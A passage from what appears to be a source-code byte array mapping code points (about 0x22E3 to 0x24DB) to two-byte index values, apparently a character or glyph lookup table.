0x1c,\r\n0x00, 0x22, 0xE3, 0x80, 0x1c,\r\n0x00, 0x22, 0xE4, 0x81, 0x1c,\r\n0x00, 0x22, 0xE5, 0x82, 0x1c,\r\n0x00, 0x22, 0xE6, 0xe9, 0x03,\r\n0x00, 0x22, 0xE7, 0x83, 0x1c,\r\n0x00, 0x22, 0xE8, 0x84, 0x1c,\r\n0x00, 0x22, 0xE9, 0x85, 0x1c,\r\n0x00, 0x22, 0xEA, 0x86, 0x1c,\r\n0x00, 0x22, 0xEB, 0x87, 0x1c,\r\n0x00, 0x22, 0xEC, 0x88, 0x1c,\r\n0x00, 0x22, 0xED, 0x89, 0x1c,\r\n0x00, 0x22, 0xEE, 0x8a, 0x1c,\r\n0x00, 0x22, 0xEF, 0x8b, 0x1c,\r\n0x00, 0x22, 0xF0, 0x8c, 0x1c,\r\n0x00, 0x22, 0xF1, 0x65, 0x00,\r\n0x00, 0x22, 0xF2, 0x8d, 0x1c,\r\n0x00, 0x22, 0xF3, 0xfe, 0x13,\r\n0x00, 0x22, 0xF4, 0x8e, 0x1c,\r\n0x00, 0x22, 0xF5, 0xf7, 0x01,\r\n0x00, 0x22, 0xF6, 0x8f, 0x1c,\r\n0x00, 0x22, 0xF7, 0x90, 0x1c,\r\n0x00, 0x22, 0xF8, 0x91, 0x1c,\r\n0x00, 0x22, 0xF9, 0x92, 0x1c,\r\n0x00, 0x22, 0xFA, 0x80, 0x10,\r\n0x00, 0x22, 0xFB, 0x80, 0x10,\r\n0x00, 0x22, 0xFC, 0xb9, 0x02,\r\n0x00, 0x22, 0xFD, 0xb9, 0x02,\r\n0x00, 0x22, 0xFE, 0xf7, 0x01,\r\n0x00, 0x22, 0xFF, 0x93, 0x1c,\r\n0x00, 0x23, 0x00, 0x94, 0x1c,\r\n0x00, 0x23, 0x01, 0x95, 0x1c,\r\n0x00, 0x23, 0x02, 0x96, 0x1c,\r\n0x00, 0x23, 0x03, 0x97, 0x1c,\r\n0x00, 0x23, 0x04, 0x05, 0x00,\r\n0x00, 0x23, 0x05, 0x05, 0x00,\r\n0x00, 0x23, 0x06, 0x93, 0x02,\r\n0x00, 0x23, 0x07, 0x43, 0x08,\r\n0x00, 0x23, 0x08, 0x5b, 0x10,\r\n0x00, 0x23, 0x09, 0x98, 0x1c,\r\n0x00, 0x23, 0x0A, 0x99, 0x1c,\r\n0x00, 0x23, 0x0B, 0xb9, 0x00,\r\n0x00, 0x23, 0x0C, 0x9a, 0x1c,\r\n0x00, 0x23, 0x0D, 0x69, 0x01,\r\n0x00, 0x23, 0x0E, 0x9b, 0x1c,\r\n0x00, 0x23, 0x0F, 0x9c, 0x1c,\r\n0x00, 0x23, 0x10, 0x9d, 0x1c,\r\n0x00, 0x23, 0x11, 0x9e, 0x1c,\r\n0x00, 0x23, 0x12, 0x51, 0x03,\r\n0x00, 0x23, 0x13, 0x9f, 0x1c,\r\n0x00, 0x23, 0x14, 0x80, 0x10,\r\n0x00, 0x23, 0x15, 0x80, 0x10,\r\n0x00, 0x23, 0x16, 0xa0, 0x1c,\r\n0x00, 0x23, 0x17, 0xa1, 0x1c,\r\n0x00, 0x23, 0x18, 0x32, 0x00,\r\n0x00, 0x23, 0x19, 0xa2, 0x1c,\r\n0x00, 0x23, 0x1A, 0xa3, 0x1c,\r\n0x00, 0x23, 0x1B, 0xa4, 0x1c,\r\n0x00, 0x23, 0x1C, 0xa5, 0x1c,\r\n0x00, 0x23, 0x1D, 0xa6, 0x1c,\r\n0x00, 0x23, 0x1E, 0xa7, 0x1c,\r\n0x00, 0x23, 0x1F, 0xa8, 0x1c,\r\n0x00, 0x23, 0x20, 0xa9, 0x1c,\r\n0x00, 0x23, 0x21, 0xaa, 0x1c,\r\n0x00, 0x23, 0x22, 0xab, 0x1c,\r\n0x00, 0x23, 0x23, 0xac, 0x1c,\r\n0x00, 0x23, 0x24, 0x28, 0x0e,\r\n0x00, 0x23, 0x25, 0xad, 0x1c,\r\n0x00, 0x23, 0x26, 0x07, 0x00,\r\n0x00, 0x23, 0x27, 0xae, 0x1c,\r\n0x00, 0x23, 0x28, 0xaf, 0x1c,\r\n0x00, 0x23, 0x29, 0xb0, 0x1c,\r\n0x00, 0x23, 0x2A, 0xb1, 0x1c,\r\n0x00, 0x23, 0x2B, 0xb2, 0x1c,\r\n0x00, 0x23, 0x2C, 0xb3, 0x1c,\r\n0x00, 0x23, 0x2D, 0xb4, 0x1c,\r\n0x00, 0x23, 0x2E, 0xb5, 0x1c,\r\n0x00, 0x23, 0x2F, 0xf7, 0x01,\r\n0x00, 0x23, 0x30, 0xb6, 0x1c,\r\n0x00, 0x23, 0x31, 0xc5, 0x08,\r\n0x00, 0x23, 0x32, 0x51, 0x03,\r\n0x00, 0x23, 0x33, 0x05, 0x00,\r\n0x00, 0x23, 0x34, 0x05, 0x00,\r\n0x00, 0x23, 0x35, 0xb7, 0x1c,\r\n0x00, 0x23, 0x36, 0xb8, 0x1c,\r\n0x00, 0x23, 0x37, 0xb9, 0x1c,\r\n0x00, 0x23, 0x38, 0xba, 0x1c,\r\n0x00, 0x23, 0x39, 0x4f, 0x02,\r\n0x00, 0x23, 0x3A, 0x4f, 0x02,\r\n0x00, 0x23, 0x3B, 0xbb, 0x1c,\r\n0x00, 0x23, 0x3C, 0xbc, 0x1c,\r\n0x00, 0x23, 0x3D, 0xbd, 0x1c,\r\n0x00, 0x23, 0x3E, 0xd1, 0x06,\r\n0x00, 0x23, 0x3F, 0xbe, 0x1c,\r\n0x00, 0x23, 0x40, 0xbf, 0x1c,\r\n0x00, 0x23, 0x41, 0x6b, 0x05,\r\n0x00, 0x23, 0x42, 0xc0, 0x1c,\r\n0x00, 0x23, 0x43, 0xc1, 0x1c,\r\n0x00, 0x23, 0x44, 0x4b, 0x0e,\r\n0x00, 0x23, 0x45, 0xbe, 0x09,\r\n0x00, 0x23, 0x46, 0xc2, 0x1c,\r\n0x00, 0x23, 0x47, 0x82, 0x13,\r\n0x00, 0x23, 0x48, 0xc4, 0x0c,\r\n0x00, 0x23, 0x49, 0xc3, 0x1c,\r\n0x00, 0x23, 0x4A, 0x65, 0x00,\r\n0x00, 0x23, 0x4B, 0xc4, 0x1c,\r\n0x00, 0x23, 0x4C, 0xc5, 0x1c,\r\n0x00, 0x23, 0x4D, 0xe3, 0x11,\r\n0x00, 0x23, 0x4E, 0xe3, 0x11,\r\n0x00, 0x23, 0x4F, 0xc6, 0x1c,\r\n0x00, 0x23, 0x50, 0xc7, 0x1c,\r\n0x00, 0x23, 0x51, 0x02, 0x0c,\r\n0x00, 0x23, 0x52, 0xc8, 0x1c,\r\n0x00, 0x23, 0x53, 0xc9, 0x1c,\r\n0x00, 0x23, 0x54, 0x20, 0x0b,\r\n0x00, 0x23, 0x55, 0xca, 0x1c,\r\n0x00, 0x23, 0x56, 0xcb, 0x1c,\r\n0x00, 0x23, 0x57, 0xcc, 0x1c,\r\n0x00, 0x23, 0x58, 0xcd, 0x1c,\r\n0x00, 0x23, 0x59, 0x9e, 0x07,\r\n0x00, 0x23, 0x5A, 0xe9, 0x16,\r\n0x00, 0x23, 0x5B, 0xce, 0x1c,\r\n0x00, 0x23, 0x5C, 0xcf, 0x1c,\r\n0x00, 0x23, 0x5D, 0x05, 0x00,\r\n0x00, 0x23, 0x5E, 0x05, 0x00,\r\n0x00, 0x23, 0x5F, 0xd0, 0x1c,\r\n0x00, 0x23, 0x60, 0xd1, 0x1c,\r\n0x00, 0x23, 0x61, 0xd2, 0x1c,\r\n0x00, 0x23, 0x62, 0xd3, 0x1c,\r\n0x00, 0x23, 0x63, 0xd4, 0x1c,\r\n0x00, 0x23, 0x64, 0xd5, 0x1c,\r\n0x00, 0x23, 0x65, 0x63, 0x0d,\r\n0x00, 0x23, 0x66, 0xd6, 0x1c,\r\n0x00, 0x23, 0x67, 0xd7, 0x1c,\r\n0x00, 0x23, 0x68, 0xa9, 0x04,\r\n0x00, 0x23, 0x69, 0xf9, 0x0a,\r\n0x00, 0x23, 0x6A, 0xd8, 0x1c,\r\n0x00, 0x23, 0x6B, 0xd9, 0x1c,\r\n0x00, 0x23, 0x6C, 0x51, 0x03,\r\n0x00, 0x23, 0x6D, 0xda, 0x1c,\r\n0x00, 0x23, 0x6E, 0xdb, 0x1c,\r\n0x00, 0x23, 0x6F, 0xdc, 0x1c,\r\n0x00, 0x23, 0x70, 0x04, 0x05,\r\n0x00, 0x23, 0x71, 0xdd, 0x1c,\r\n0x00, 0x23, 0x72, 0xde, 0x1c,\r\n0x00, 0x23, 0x73, 0xdf, 0x1c,\r\n0x00, 0x23, 0x74, 0xb9, 0x00,\r\n0x00, 0x23, 0x75, 0xb9, 0x00,\r\n0x00, 0x23, 0x76, 0x3f, 0x08,\r\n0x00, 0x23, 0x77, 0xe0, 0x1c,\r\n0x00, 0x23, 0x78, 0xfd, 0x06,\r\n0x00, 0x23, 0x79, 0xe1, 0x1c,\r\n0x00, 0x23, 0x7A, 0xe2, 0x1c,\r\n0x00, 0x23, 0x7B, 0xe3, 0x1c,\r\n0x00, 0x23, 0x7C, 0xe4, 0x1c,\r\n0x00, 0x23, 0x7D, 0xc9, 0x01,\r\n0x00, 0x23, 0x7E, 0xe5, 0x1c,\r\n0x00, 0x23, 0x7F, 0x49, 0x03,\r\n0x00, 0x23, 0x80, 0xe6, 0x1c,\r\n0x00, 0x23, 0x81, 0xe7, 0x1c,\r\n0x00, 0x23, 0x82, 0xe8, 0x1c,\r\n0x00, 0x23, 0x83, 0xe9, 0x1c,\r\n0x00, 0x23, 0x84, 0xea, 0x1c,\r\n0x00, 0x23, 0x85, 0xeb, 0x1c,\r\n0x00, 0x23, 0x86, 0xec, 0x1c,\r\n0x00, 0x23, 0x87, 0xed, 0x1c,\r\n0x00, 0x23, 0x88, 0xee, 0x1c,\r\n0x00, 0x23, 0x89, 0x10, 0x0e,\r\n0x00, 0x23, 0x8A, 0xef, 0x1c,\r\n0x00, 0x23, 0x8B, 0x20, 0x13,\r\n0x00, 0x23, 0x8C, 0x65, 0x00,\r\n0x00, 0x23, 0x8D, 0xf0, 0x1c,\r\n0x00, 0x23, 0x8E, 0x71, 0x07,\r\n0x00, 0x23, 0x8F, 0xf1, 0x1c,\r\n0x00, 0x23, 0x90, 0xf2, 0x1c,\r\n0x00, 0x23, 0x91, 0xf3, 0x1c,\r\n0x00, 0x23, 0x92, 0xf4, 0x1c,\r\n0x00, 0x23, 0x93, 0xf5, 0x1c,\r\n0x00, 0x23, 0x94, 0xf6, 0x1c,\r\n0x00, 0x23, 0x95, 0xb9, 0x00,\r\n0x00, 0x23, 0x96, 0xf7, 0x1c,\r\n0x00, 0x23, 0x97, 0x0a, 0x0e,\r\n0x00, 0x23, 0x98, 0xf8, 0x1c,\r\n0x00, 0x23, 0x99, 0x4f, 0x02,\r\n0x00, 0x23, 0x9A, 0xf9, 0x1c,\r\n0x00, 0x23, 0x9B, 0x4c, 0x16,\r\n0x00, 0x23, 0x9C, 0x08, 0x05,\r\n0x00, 0x23, 0x9D, 0xfa, 0x1c,\r\n0x00, 0x23, 0x9E, 0xfb, 0x1c,\r\n0x00, 0x23, 0x9F, 0xb4, 0x0f,\r\n0x00, 0x23, 0xA0, 0xfc, 0x1c,\r\n0x00, 0x23, 0xA1, 0xfd, 0x1c,\r\n0x00, 0x23, 0xA2, 0xb9, 0x00,\r\n0x00, 0x23, 0xA3, 0xb9, 0x00,\r\n0x00, 0x23, 0xA4, 0xfe, 0x1c,\r\n0x00, 0x23, 0xA5, 0xff, 0x1c,\r\n0x00, 0x23, 0xA6, 0x00, 0x1d,\r\n0x00, 0x23, 0xA7, 0x01, 0x1d,\r\n0x00, 0x23, 0xA8, 0x02, 0x1d,\r\n0x00, 0x23, 0xA9, 0xf3, 0x16,\r\n0x00, 0x23, 0xAA, 0x03, 0x1d,\r\n0x00, 0x23, 0xAB, 0x05, 0x00,\r\n0x00, 0x23, 0xAC, 0x05, 0x00,\r\n0x00, 0x23, 0xAD, 0x04, 0x1d,\r\n0x00, 0x23, 0xAE, 0xd1, 0x05,\r\n0x00, 0x23, 0xAF, 0xb9, 0x00,\r\n0x00, 0x23, 0xB0, 0x05, 0x1d,\r\n0x00, 0x23, 0xB1, 0x06, 0x1d,\r\n0x00, 0x23, 0xB2, 0xe9, 0x03,\r\n0x00, 0x23, 0xB3, 0x07, 0x1d,\r\n0x00, 0x23, 0xB4, 0xb9, 0x02,\r\n0x00, 0x23, 0xB5, 0x08, 0x1d,\r\n0x00, 0x23, 0xB6, 0x09, 0x1d,\r\n0x00, 0x23, 0xB7, 0x0a, 0x1d,\r\n0x00, 0x23, 0xB8, 0x0b, 0x1d,\r\n0x00, 0x23, 0xB9, 0x0c, 0x1d,\r\n0x00, 0x23, 0xBA, 0x0d, 0x1d,\r\n0x00, 0x23, 0xBB, 0x0e, 0x1d,\r\n0x00, 0x23, 0xBC, 0x0f, 0x1d,\r\n0x00, 0x23, 0xBD, 0x0a, 0x17,\r\n0x00, 0x23, 0xBE, 0xc4, 0x14,\r\n0x00, 0x23, 0xBF, 0x10, 0x1d,\r\n0x00, 0x23, 0xC0, 0x11, 0x1d,\r\n0x00, 0x23, 0xC1, 0x12, 0x1d,\r\n0x00, 0x23, 0xC2, 0x4f, 0x02,\r\n0x00, 0x23, 0xC3, 0x13, 0x1d,\r\n0x00, 0x23, 0xC4, 0x14, 0x1d,\r\n0x00, 0x23, 0xC5, 0x15, 0x1d,\r\n0x00, 0x23, 0xC6, 0x16, 0x1d,\r\n0x00, 0x23, 0xC7, 0x17, 0x1d,\r\n0x00, 0x23, 0xC8, 0x18, 0x1d,\r\n0x00, 0x23, 0xC9, 0x19, 0x1d,\r\n0x00, 0x23, 0xCA, 0x1a, 0x1d,\r\n0x00, 0x23, 0xCB, 0xe9, 0x01,\r\n0x00, 0x23, 0xCC, 0xc5, 0x08,\r\n0x00, 0x23, 0xCD, 0xcf, 0x09,\r\n0x00, 0x23, 0xCE, 0x1b, 0x1d,\r\n0x00, 0x23, 0xCF, 0x1c, 0x1d,\r\n0x00, 0x23, 0xD0, 0x1d, 0x1d,\r\n0x00, 0x23, 0xD1, 0x1e, 0x1d,\r\n0x00, 0x23, 0xD2, 0x1f, 0x1d,\r\n0x00, 0x23, 0xD3, 0x20, 0x1d,\r\n0x00, 0x23, 0xD4, 0xeb, 0x0f,\r\n0x00, 0x23, 0xD5, 0x21, 0x1d,\r\n0x00, 0x23, 0xD6, 0x4f, 0x02,\r\n0x00, 0x23, 0xD7, 0x4f, 0x02,\r\n0x00, 0x23, 0xD8, 0x22, 0x1d,\r\n0x00, 0x23, 0xD9, 0x23, 0x1d,\r\n0x00, 0x23, 0xDA, 0xf6, 0x09,\r\n0x00, 0x23, 0xDB, 0x24, 0x1d,\r\n0x00, 0x23, 0xDC, 0x25, 0x1d,\r\n0x00, 0x23, 0xDD, 0x26, 0x1d,\r\n0x00, 0x23, 0xDE, 0x27, 0x1d,\r\n0x00, 0x23, 0xDF, 0x51, 0x03,\r\n0x00, 0x23, 0xE0, 0x28, 0x1d,\r\n0x00, 0x23, 0xE1, 0x29, 0x1d,\r\n0x00, 0x23, 0xE2, 0x2a, 0x1d,\r\n0x00, 0x23, 0xE3, 0xcb, 0x0c,\r\n0x00, 0x23, 0xE4, 0x2b, 0x1d,\r\n0x00, 0x23, 0xE5, 0x2c, 0x1d,\r\n0x00, 0x23, 0xE6, 0x2d, 0x1d,\r\n0x00, 0x23, 0xE7, 0x2e, 0x1d,\r\n0x00, 0x23, 0xE8, 0x2f, 0x1d,\r\n0x00, 0x23, 0xE9, 0xbb, 0x01,\r\n0x00, 0x23, 0xEA, 0x05, 0x00,\r\n0x00, 0x23, 0xEB, 0x05, 0x00,\r\n0x00, 0x23, 0xEC, 0x74, 0x1a,\r\n0x00, 0x23, 0xED, 0xb9, 0x00,\r\n0x00, 0x23, 0xEE, 0xb9, 0x00,\r\n0x00, 0x23, 0xEF, 0x30, 0x1d,\r\n0x00, 0x23, 0xF0, 0x0e, 0x03,\r\n0x00, 0x23, 0xF1, 0xbe, 0x09,\r\n0x00, 0x23, 0xF2, 0x31, 0x1d,\r\n0x00, 0x23, 0xF3, 0x32, 0x1d,\r\n0x00, 0x23, 0xF4, 0x33, 0x1d,\r\n0x00, 0x23, 0xF5, 0x34, 0x1d,\r\n0x00, 0x23, 0xF6, 0x35, 0x1d,\r\n0x00, 0x23, 0xF7, 0x65, 0x00,\r\n0x00, 0x23, 0xF8, 0xc6, 0x10,\r\n0x00, 0x23, 0xF9, 0x36, 0x1d,\r\n0x00, 0x23, 0xFA, 0x37, 0x1d,\r\n0x00, 0x23, 0xFB, 0x38, 0x1d,\r\n0x00, 0x23, 0xFC, 0x39, 0x1d,\r\n0x00, 0x23, 0xFD, 0x3a, 0x1d,\r\n0x00, 0x23, 0xFE, 0x3b, 0x1d,\r\n0x00, 0x23, 0xFF, 0x93, 0x15,\r\n0x00, 0x24, 0x00, 0x69, 0x01,\r\n0x00, 0x24, 0x01, 0xe8, 0x04,\r\n0x00, 0x24, 0x02, 0x3c, 0x1d,\r\n0x00, 0x24, 0x03, 0xb9, 0x02,\r\n0x00, 0x24, 0x04, 0xb9, 0x02,\r\n0x00, 0x24, 0x05, 0x3d, 0x1d,\r\n0x00, 0x24, 0x06, 0x3e, 0x1d,\r\n0x00, 0x24, 0x07, 0x3f, 0x1d,\r\n0x00, 0x24, 0x08, 0xcd, 0x02,\r\n0x00, 0x24, 0x09, 0x40, 0x1d,\r\n0x00, 0x24, 0x0A, 0x41, 0x1d,\r\n0x00, 0x24, 0x0B, 0x2a, 0x11,\r\n0x00, 0x24, 0x0C, 0x42, 0x1d,\r\n0x00, 0x24, 0x0D, 0x43, 0x1d,\r\n0x00, 0x24, 0x0E, 0x49, 0x08,\r\n0x00, 0x24, 0x0F, 0x44, 0x1d,\r\n0x00, 0x24, 0x10, 0x45, 0x1d,\r\n0x00, 0x24, 0x11, 0x46, 0x1d,\r\n0x00, 0x24, 0x12, 0x47, 0x1d,\r\n0x00, 0x24, 0x13, 0x05, 0x00,\r\n0x00, 0x24, 0x14, 0x05, 0x00,\r\n0x00, 0x24, 0x15, 0x48, 0x1d,\r\n0x00, 0x24, 0x16, 0x49, 0x1d,\r\n0x00, 0x24, 0x17, 0xbc, 0x0c,\r\n0x00, 0x24, 0x18, 0x4a, 0x1d,\r\n0x00, 0x24, 0x19, 0x65, 0x00,\r\n0x00, 0x24, 0x1A, 0x4b, 0x1d,\r\n0x00, 0x24, 0x1B, 0x4c, 0x1d,\r\n0x00, 0x24, 0x1C, 0x4d, 0x1d,\r\n0x00, 0x24, 0x1D, 0xf4, 0x0b,\r\n0x00, 0x24, 0x1E, 0xc5, 0x08,\r\n0x00, 0x24, 0x1F, 0x4e, 0x1d,\r\n0x00, 0x24, 0x20, 0x4f, 0x1d,\r\n0x00, 0x24, 0x21, 0x28, 0x0b,\r\n0x00, 0x24, 0x22, 0x50, 0x1d,\r\n0x00, 0x24, 0x23, 0xb5, 0x12,\r\n0x00, 0x24, 0x24, 0x51, 0x1d,\r\n0x00, 0x24, 0x25, 0xe9, 0x01,\r\n0x00, 0x24, 0x26, 0x52, 0x1d,\r\n0x00, 0x24, 0x27, 0x53, 0x1d,\r\n0x00, 0x24, 0x28, 0x54, 0x1d,\r\n0x00, 0x24, 0x29, 0x55, 0x1d,\r\n0x00, 0x24, 0x2A, 0x56, 0x1d,\r\n0x00, 0x24, 0x2B, 0xe3, 0x11,\r\n0x00, 0x24, 0x2C, 0xe3, 0x11,\r\n0x00, 0x24, 0x2E, 0x57, 0x1d,\r\n0x00, 0x24, 0x2F, 0x58, 0x1d,\r\n0x00, 0x24, 0x30, 0x59, 0x1d,\r\n0x00, 0x24, 0x31, 0x5a, 0x1d,\r\n0x00, 0x24, 0x32, 0x5b, 0x1d,\r\n0x00, 0x24, 0x33, 0x93, 0x02,\r\n0x00, 0x24, 0x34, 0x5c, 0x1d,\r\n0x00, 0x24, 0x35, 0x5d, 0x1d,\r\n0x00, 0x24, 0x36, 0x51, 0x03,\r\n0x00, 0x24, 0x37, 0x22, 0x09,\r\n0x00, 0x24, 0x38, 0x80, 0x00,\r\n0x00, 0x24, 0x39, 0x8a, 0x1a,\r\n0x00, 0x24, 0x3A, 0x5e, 0x1d,\r\n0x00, 0x24, 0x3B, 0x5f, 0x1d,\r\n0x00, 0x24, 0x3C, 0x60, 0x1d,\r\n0x00, 0x24, 0x3D, 0x61, 0x1d,\r\n0x00, 0x24, 0x3F, 0x62, 0x1d,\r\n0x00, 0x24, 0x40, 0x63, 0x1d,\r\n0x00, 0x24, 0x41, 0x64, 0x1d,\r\n0x00, 0x24, 0x42, 0x65, 0x1d,\r\n0x00, 0x24, 0x43, 0x69, 0x01,\r\n0x00, 0x24, 0x44, 0xc5, 0x08,\r\n0x00, 0x24, 0x45, 0x39, 0x01,\r\n0x00, 0x24, 0x46, 0x66, 0x1d,\r\n0x00, 0x24, 0x47, 0x67, 0x1d,\r\n0x00, 0x24, 0x48, 0x68, 0x1d,\r\n0x00, 0x24, 0x49, 0x69, 0x1d,\r\n0x00, 0x24, 0x4A, 0x6a, 0x1d,\r\n0x00, 0x24, 0x4B, 0x6b, 0x1d,\r\n0x00, 0x24, 0x4C, 0x6c, 0x1d,\r\n0x00, 0x24, 0x4D, 0xc4, 0x18,\r\n0x00, 0x24, 0x4E, 0x6d, 0x1d,\r\n0x00, 0x24, 0x4F, 0x6e, 0x1d,\r\n0x00, 0x24, 0x50, 0x05, 0x00,\r\n0x00, 0x24, 0x51, 0x05, 0x00,\r\n0x00, 0x24, 0x52, 0x6f, 0x1d,\r\n0x00, 0x24, 0x53, 0x70, 0x1d,\r\n0x00, 0x24, 0x54, 0x4f, 0x02,\r\n0x00, 0x24, 0x55, 0x71, 0x1d,\r\n0x00, 0x24, 0x56, 0x02, 0x0c,\r\n0x00, 0x24, 0x58, 0x72, 0x1d,\r\n0x00, 0x24, 0x59, 0x1c, 0x00,\r\n0x00, 0x24, 0x5A, 0x9f, 0x06,\r\n0x00, 0x24, 0x5B, 0x73, 0x1d,\r\n0x00, 0x24, 0x5C, 0x74, 0x1d,\r\n0x00, 0x24, 0x5D, 0x75, 0x1d,\r\n0x00, 0x24, 0x5E, 0x76, 0x1d,\r\n0x00, 0x24, 0x5F, 0x77, 0x1d,\r\n0x00, 0x24, 0x60, 0x78, 0x1d,\r\n0x00, 0x24, 0x61, 0x79, 0x1d,\r\n0x00, 0x24, 0x62, 0x7a, 0x1d,\r\n0x00, 0x24, 0x63, 0x7b, 0x1d,\r\n0x00, 0x24, 0x64, 0x7c, 0x1d,\r\n0x00, 0x24, 0x65, 0x7d, 0x1d,\r\n0x00, 0x24, 0x66, 0x7e, 0x1d,\r\n0x00, 0x24, 0x67, 0x7f, 0x1d,\r\n0x00, 0x24, 0x68, 0x80, 0x1d,\r\n0x00, 0x24, 0x69, 0x81, 0x1d,\r\n0x00, 0x24, 0x6A, 0x82, 0x1d,\r\n0x00, 0x24, 0x6B, 0x83, 0x1d,\r\n0x00, 0x24, 0x6C, 0x58, 0x0a,\r\n0x00, 0x24, 0x6D, 0x84, 0x1d,\r\n0x00, 0x24, 0x6E, 0x85, 0x1d,\r\n0x00, 0x24, 0x6F, 0x86, 0x1d,\r\n0x00, 0x24, 0x70, 0x87, 0x1d,\r\n0x00, 0x24, 0x71, 0x88, 0x1d,\r\n0x00, 0x24, 0x72, 0x89, 0x1d,\r\n0x00, 0x24, 0x73, 0xc0, 0x03,\r\n0x00, 0x24, 0x74, 0x8a, 0x1d,\r\n0x00, 0x24, 0x75, 0x8b, 0x1d,\r\n0x00, 0x24, 0x76, 0x8c, 0x1d,\r\n0x00, 0x24, 0x77, 0x8d, 0x1d,\r\n0x00, 0x24, 0x78, 0x8e, 0x1d,\r\n0x00, 0x24, 0x79, 0x8f, 0x1d,\r\n0x00, 0x24, 0x7A, 0x90, 0x1d,\r\n0x00, 0x24, 0x7B, 0xe7, 0x0d,\r\n0x00, 0x24, 0x7C, 0xb9, 0x02,\r\n0x00, 0x24, 0x7D, 0xb9, 0x02,\r\n0x00, 0x24, 0x7E, 0x0a, 0x01,\r\n0x00, 0x24, 0x7F, 0x69, 0x01,\r\n0x00, 0x24, 0x80, 0x91, 0x1d,\r\n0x00, 0x24, 0x81, 0xc9, 0x01,\r\n0x00, 0x24, 0x82, 0x02, 0x11,\r\n0x00, 0x24, 0x83, 0xce, 0x17,\r\n0x00, 0x24, 0x84, 0x92, 0x1d,\r\n0x00, 0x24, 0x85, 0x93, 0x1d,\r\n0x00, 0x24, 0x86, 0x94, 0x1d,\r\n0x00, 0x24, 0x87, 0x95, 0x1d,\r\n0x00, 0x24, 0x88, 0x96, 0x1d,\r\n0x00, 0x24, 0x89, 0x97, 0x1d,\r\n0x00, 0x24, 0x8A, 0x98, 0x1d,\r\n0x00, 0x24, 0x8B, 0x99, 0x1d,\r\n0x00, 0x24, 0x8C, 0x20, 0x0b,\r\n0x00, 0x24, 0x8D, 0xd3, 0x03,\r\n0x00, 0x24, 0x8E, 0xd9, 0x06,\r\n0x00, 0x24, 0x8F, 0x9a, 0x1d,\r\n0x00, 0x24, 0x90, 0x4f, 0x02,\r\n0x00, 0x24, 0x91, 0x4f, 0x02,\r\n0x00, 0x24, 0x92, 0x22, 0x09,\r\n0x00, 0x24, 0x93, 0xb9, 0x00,\r\n0x00, 0x24, 0x94, 0xe9, 0x01,\r\n0x00, 0x24, 0x95, 0xb9, 0x00,\r\n0x00, 0x24, 0x96, 0x9b, 0x1d,\r\n0x00, 0x24, 0x97, 0x05, 0x00,\r\n0x00, 0x24, 0x98, 0x05, 0x00,\r\n0x00, 0x24, 0x99, 0x9c, 0x1d,\r\n0x00, 0x24, 0x9A, 0x7b, 0x08,\r\n0x00, 0x24, 0x9B, 0x9d, 0x1d,\r\n0x00, 0x24, 0x9C, 0x9e, 0x1d,\r\n0x00, 0x24, 0x9D, 0x9f, 0x1d,\r\n0x00, 0x24, 0x9E, 0xa0, 0x1d,\r\n0x00, 0x24, 0x9F, 0x2b, 0x1b,\r\n0x00, 0x24, 0xA0, 0xb9, 0x00,\r\n0x00, 0x24, 0xA1, 0xb9, 0x00,\r\n0x00, 0x24, 0xA2, 0xa1, 0x1d,\r\n0x00, 0x24, 0xA3, 0xa2, 0x1d,\r\n0x00, 0x24, 0xA4, 0xa3, 0x1d,\r\n0x00, 0x24, 0xA5, 0xa2, 0x06,\r\n0x00, 0x24, 0xA6, 0xa4, 0x1d,\r\n0x00, 0x24, 0xA7, 0xf7, 0x01,\r\n0x00, 0x24, 0xA8, 0x82, 0x13,\r\n0x00, 0x24, 0xA9, 0xa5, 0x1d,\r\n0x00, 0x24, 0xAA, 0xa6, 0x1d,\r\n0x00, 0x24, 0xAB, 0xa7, 0x1d,\r\n0x00, 0x24, 0xAC, 0x10, 0x0e,\r\n0x00, 0x24, 0xAD, 0xa8, 0x1d,\r\n0x00, 0x24, 0xAE, 0xa9, 0x1d,\r\n0x00, 0x24, 0xAF, 0xab, 0x07,\r\n0x00, 0x24, 0xB0, 0xaa, 0x1d,\r\n0x00, 0x24, 0xB1, 0xab, 0x1d,\r\n0x00, 0x24, 0xB2, 0x68, 0x08,\r\n0x00, 0x24, 0xB3, 0xac, 0x1d,\r\n0x00, 0x24, 0xB4, 0xad, 0x1d,\r\n0x00, 0x24, 0xB5, 0x69, 0x01,\r\n0x00, 0x24, 0xB6, 0x70, 0x04,\r\n0x00, 0x24, 0xB7, 0x9a, 0x15,\r\n0x00, 0x24, 0xB8, 0xae, 0x1d,\r\n0x00, 0x24, 0xB9, 0xaf, 0x1d,\r\n0x00, 0x24, 0xBA, 0xeb, 0x0f,\r\n0x00, 0x24, 0xBB, 0xb0, 0x1d,\r\n0x00, 0x24, 0xBC, 0xb1, 0x1d,\r\n0x00, 0x24, 0xBD, 0xb2, 0x1d,\r\n0x00, 0x24, 0xBE, 0x34, 0x01,\r\n0x00, 0x24, 0xBF, 0xb3, 0x1d,\r\n0x00, 0x24, 0xC0, 0xb4, 0x1d,\r\n0x00, 0x24, 0xC1, 0xb9, 0x00,\r\n0x00, 0x24, 0xC2, 0xb5, 0x1d,\r\n0x00, 0x24, 0xC3, 0x05, 0x00,\r\n0x00, 0x24, 0xC4, 0x05, 0x00,\r\n0x00, 0x24, 0xC5, 0xb7, 0x0e,\r\n0x00, 0x24, 0xC6, 0xb6, 0x1d,\r\n0x00, 0x24, 0xC7, 0xb7, 0x1d,\r\n0x00, 0x24, 0xC8, 0xe6, 0x0d,\r\n0x00, 0x24, 0xC9, 0xe6, 0x0d,\r\n0x00, 0x24, 0xCA, 0xb8, 0x1d,\r\n0x00, 0x24, 0xCB, 0xb9, 0x1d,\r\n0x00, 0x24, 0xCC, 0xba, 0x1d,\r\n0x00, 0x24, 0xCD, 0xbb, 0x1d,\r\n0x00, 0x24, 0xCE, 0xbc, 0x1d,\r\n0x00, 0x24, 0xCF, 0xbd, 0x1d,\r\n0x00, 0x24, 0xD0, 0xe9, 0x01,\r\n0x00, 0x24, 0xD1, 0x17, 0x07,\r\n0x00, 0x24, 0xD2, 0xb7, 0x0f,\r\n0x00, 0x24, 0xD3, 0xbe, 0x1d,\r\n0x00, 0x24, 0xD4, 0x1f, 0x07,\r\n0x00, 0x24, 0xD5, 0xbf, 0x1d,\r\n0x00, 0x24, 0xD6, 0x80, 0x10,\r\n0x00, 0x24, 0xD7, 0x80, 0x10,\r\n0x00, 0x24, 0xD8, 0xc0, 0x1d,\r\n0x00, 0x24, 0xD9, 0xc1, 0x1d,\r\n0x00, 0x24, 0xDA, 0xc2, 0x1d,\r\n0x00, 0x24, 0xDB, 0xc3, 